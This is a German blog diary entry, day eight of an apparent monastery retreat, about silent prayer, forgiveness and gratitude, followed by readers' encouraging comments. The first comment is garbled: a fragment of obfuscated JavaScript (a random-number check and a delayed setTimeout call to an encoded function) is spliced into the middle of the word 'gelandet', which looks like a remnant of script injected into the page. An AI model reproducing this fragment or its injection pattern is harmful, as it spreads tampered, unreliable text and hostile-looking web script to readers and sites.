Tag 8
Bin um 8 Uhr in die Kirche gegangen. Die Messe war vorüber, ich war ganz allein und habe für 30 Minuten regungslos gestanden. Plötzlich tauchte vor meinem inneren Auge die U-Bahnstation der U6 im Bahnhof Friedrichstraße auf. Ich sah die Menschen rennen, um die U-Bahn zu erwischen, obwohl an der Anzeige steht, dass die nächste Bahn in 3 Minuten kommt. Und sich ärgern, wenn die Türen sich vor ihrer Nase schließen. Wenn Du in einer dunklen Kirche auf dem Fleck stehst, während in Berlin 10 Züge durch den Bahnhof rauschen und Menschen rennen, hat die Vorstellung was skurriles. Jedenfalls musste ich ob der Sinnlosigkeit des Rennens grinsen. Kann natürlich auch an den Weihrauchschwaden gelegen haben, von denen die Kirche erfüllt war. Soll ja ähnlich wie Cannabis wirken...
Irgendwie kam dann ein Satz, den die Mönche in der orthodoxen Liturgie unendlich oft wiederholen in meinen Sinn. Pater Antonio sagt, dass es sinngemäß "Herr erbarme Dich" bedeutet. Von da sprang mein Geist zu unserem "und vergib uns unsere Schuld, wie auch wir vergeben unseren Schuldigern". Ich sehe das große katholischen Thema Schuld und dass wir alle Sünder sind sehr kontrovers, doch heute Morgen beim Stehen endete meine Gedankenkette bei der Vergebung. Ich war erfüllt von dem Gedanken und der Erkenntnis, dass Vergebung die Voraussetzung für Freiheit ist. Nur wenn wir uns und anderen wirklich verzeihen, lassen wir los und werden frei für Neues.
In einem kleinen Büchlein steht ein Satz, dessen Autor ich nicht parat habe. Sinngemäß lautet er "Immer wenn Du wirklich vergibst, entlässt Du einen Menschen in die Freiheit, um dann zu sehen, dass Du es selbst warst, der gefangen war". Heute in der Klosterkirche habe ich verstanden.
Als ich die Kirche verlassen wollte, hat mich der Mönch, der im Eingangsbereich die Kerzen verkauft, abgefangen. Er ist mein Nachbar und hatte mir gestern einen Kaffee versprochen. Ab zum Zimmer und dort hat er mir eine Tasse lauwarmen türkischen Kaffee in die Hand gedrückt. Ich habe mich mit dem Kaffee in der Hand ans Fenster gestellt und auf den Friedhof vom Beitragsbild rausgeschaut. Dann habe ich mich auf meinen Stuhl gesetzt und vor Glück und Dankbarkeit geweint. Ziemlich lange.
Irgendwann holt auch den Gefühlsduseligsten der Kohldampf wieder ein (gut so!) und nach dem Essen bin ich wieder zur bunten Kirche von gestern rüber. Drinnen war keiner und so konnte ich dort meinen Erkenntnissen vom Vormittag noch mal in Ruhe nachhängen.
Mit den kleinen Filmen aus der Kirche und der Umgebung lasse ich Euch jetzt allein. Ohne meinen Kommentar. Worte können den Bildern nicht gerecht werden.
—–
Lieber Götz,
gerade bin ich hier gelandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andet. Tag 8 hat mich beeindruckt. Du machst das richtig. ich bin in Gedanken bei Dir
Dein Roolf
Danke, mein Seelencoach.
Lieber Götz,
ich bin an sich ein Mensch der an Bildern hängt. Bücher und Texte müssen mich mindedtens genau so faszinieren, ansonsten gebe ich während der ersten Zeilen sehr schnell auf. Deswegen schreibe ich dir erst jetzt. Du hast mich! Ich verfolge deine Worte und deine Eindrücke mit Hingabe und ich kann mich absolut hineindenken in deine Tiefen. Und ich finde es beeindruckend wie du diese Stille erst aushältst und dann annimmst und dabei so produktiv bist. Ich freue mich schon jetzt auf deine Erzählungen bei einem Glas Wein am Strand, im Himtergrund das Rauschen der Wellen.
Und ja, Micha ist ein guter Mann an Land.
Liebstes, Betty
Bussi und ick freu mir, wa…
Lieber Götz. Gespannt verfolge ich jeden Tag deinen Blog. Ich bin gespannt „wohin“ die Reise dich führt und damit meine ich nicht die Orte. Versuche die Zeit zu nutzen und zu genießen. Und geh nicht so streng mit Dir uns Gericht! Die Erfahrungen die Du hier sammeln wirst, um diese Selbsterkenntnisse, werde ich Dich jetzt schon beneiden. Auch wenn es verrückt aussehen mag, was du gerade machst…ich bin sicher Du kommst gestärkt zurück! Du positiv verrückter Hund :). Viel Spaß und viele schöne Momente!
Ich denke, dass die Strenge einer Nachsicht mir selbst gegenüber weicht. Wie beim Opa, der dem Enkel den Blödsinn nachsieht, weil er weiß, dass zum Schluss alles immer gut ausgeht.
Danke für Deine Begleitung!